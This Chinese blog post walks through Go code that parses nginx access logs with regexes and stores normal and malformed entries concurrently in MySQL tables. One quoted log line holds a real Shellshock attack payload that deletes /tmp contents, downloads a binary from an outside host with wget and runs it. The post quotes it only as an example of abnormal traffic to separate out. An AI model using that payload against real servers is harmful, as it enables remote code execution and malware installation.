上一篇文章已经介绍了golang对mysql的简单 *** 作，那现在处理好的nginx数据就存放到MySQL中。
nginx日志格式
// ip地址 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agent
// 87.26.2.130 - - [24/Oct/2020:14:40:21 +0800] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "ApiTool"对应的正则表达式
// 每行nginx格式：ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agent
re := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`成功提取后，存放的结构体
type LogsInfo struct {
Ip string
Time int64
Method string
Path string
Protocol string
Status int
Size int
Referer string
UserAgent string
}这些是能按正常nginx格式提取的数据，但总有些不正的访问
156.96.155.229 - - [16/Nov/2020:17:34:42 +0800] "GET / HTTP/1.1" 200 3196 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22"看到下面这条语句，rm -rf，这不是想删库跑吗
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh对这些异常的访问，我们也要提取出来，正则如下
re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`结构体
type LogsInfoException struct {
Ip string
Time int64
Other string
}这两个结构体，对应MySQL数据库表
CREATE TABLE `logs_info` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
`time` int(11) NOT NULL DEFAULT '0',
`method` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
`path` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
`protocol` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
`status` int(4) NOT NULL DEFAULT '0',
`size` int(11) NOT NULL DEFAULT '0',
`referer` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
`user_agent` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=96262 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='nginx logs';CREATE TABLE `logs_info_exception` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL,
`time` int(11) NOT NULL,
`other` varchar(2048) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4298 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;话不多说，直接上代码
package main
import (
"bufio"
"fmt"
"io"
"log"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/jinzhu/gorm"
_ "github.com/jinzhu/gorm/dialects/mysql"
)
type LogsInfo struct {
Ip string
Time int64
Method string
Path string
Protocol string
Status int
Size int
Referer string
UserAgent string
}
type LogsInfoException struct {
Ip string
Time int64
Other string
}
func main() {
start := time.Now()
// 连接数据库
db, err := gorm.Open("mysql", "root:root@/test?charset=utf8&parseTime=True&loc=Local")
defer db.Close()
if err != nil {
println("connection mysql fail")
} else {
println("connectiton mysql success")
}
// 设置全局表名禁用复数
db.SingularTable(true)
mq := make(chan string, 50) // 存放消息，用来给多个go程消费
signal := make(chan bool, 2) // 读取文件结束标志
// 注塑主进程，防止主进程exit
forever := make(chan bool)
// 起5个go程，解析nginx的mq，并存入到mysql
go worker("worker1", mq, db)
go worker("worker2", mq, db)
go worker("worker3", mq, db)
go worker("worker4", mq, db)
go worker("worker5", mq, db)
// 起一个go程，用来读取nginx
go task(mq, signal)
// 主进程退出检测
go func(signal chan bool, mq chan string, forever chan bool) {
for {
if len(signal) == 1 && len(mq) == 0 {
forever <- true
}
}
}(signal, mq, forever)
// 优雅退出
<-forever
fmt.Println("cost:", time.Since(start).Seconds(), "s")
}
// task
// read log file
// 日志文件一般都比较大，很难一次性读取到内存中
// 这里是一行一行读取，并将每一行string放入mq通道中
func task(mq chan string, signal chan bool) error {
// read log file
filePath := "log/access.log"
f, err := os.Open(filePath)
defer f.Close()
if err != nil {
log.Panic(err)
return err
}
buf := bufio.NewReader(f)
count := 0
for {
if count > 1000 { // 加个条件方便测试数据量
signal <- true
return nil
}
line, _, err := buf.ReadLine()
if err != nil {
if err == io.EOF {
signal <- true
return nil
}
signal <- true
return err
}
body := strings.TrimSpace(string(line))
mq <- body
log.Println("task: ", count)
count += 1
// 每次读取后，都检查一下mq通道的容量，如果容量达到一般，则sleep，将时间片交给其他go程
// 达到容量的阈值，以及sleep的时间，要根据自己的电脑配置计算的出
// 比如，处理10000个mq，就可以大概计算出处理1个mq所需要的的时间
if len(mq) > 25 {
time.Sleep(10 * time.Millisecond)
}
}
}
// consumer
// parse and write
func worker(workerName string, mq chan string, db *gorm.DB) {
count := 0
for d := range mq {
parse(d, db)
count++
log.Println(workerName, ": ", count)
}
}
// parse and write
func parse(str string, db *gorm.DB) {
// 每行nginx格式：ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agent
re := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`
reg := regexp.MustCompile(re)
parseInfo := reg.FindStringSubmatch(str)
// 匹配不到正常的格式，那么这条访问记录很可能有问题
// 异常nginx处理
if len(parseInfo) == 0 {
re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`
reg1 := regexp.MustCompile(re1)
parseInfo1 := reg1.FindStringSubmatch(str)
if len(parseInfo1) == 0 {
return
}
t1, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo1[2])
infoException := LogsInfoException{
Ip: parseInfo1[1],
Time: t1.Unix(),
Other: parseInfo1[3],
}
// 将异常的nginx日志写入logs_info_exception表
db.Create(&infoException)
return
}
t, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo[2])
status, _ := strconv.Atoi(parseInfo[6])
size, _ := strconv.Atoi(parseInfo[7])
//
info := LogsInfo{
Ip: parseInfo[1],
Time: t.Unix(),
Method: parseInfo[3],
Path: parseInfo[4],
Protocol: parseInfo[5],
Status: status,
Size: size,
Referer: parseInfo[8],
UserAgent: parseInfo[9],
}
// 将正常的nginx日志写入logs_info表
db.Create(&info)
}
注意这里，这就是go语言的魅力，虽然只起了五个worker解析以及写入MySQL，对mysql来说还是处于高并发状态，这可是一个很好的处理mysql高并发的机会，自由发挥了
// 起5个go程，解析nginx的mq，并存入到mysql
go worker("worker1", mq, db)
go worker("worker2", mq, db)
go worker("worker3", mq, db)
go worker("worker4", mq, db)
go worker("worker5", mq, db)
// 起一个go程，用来读取nginx
go task(mq, signal)项目代码已放码云
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）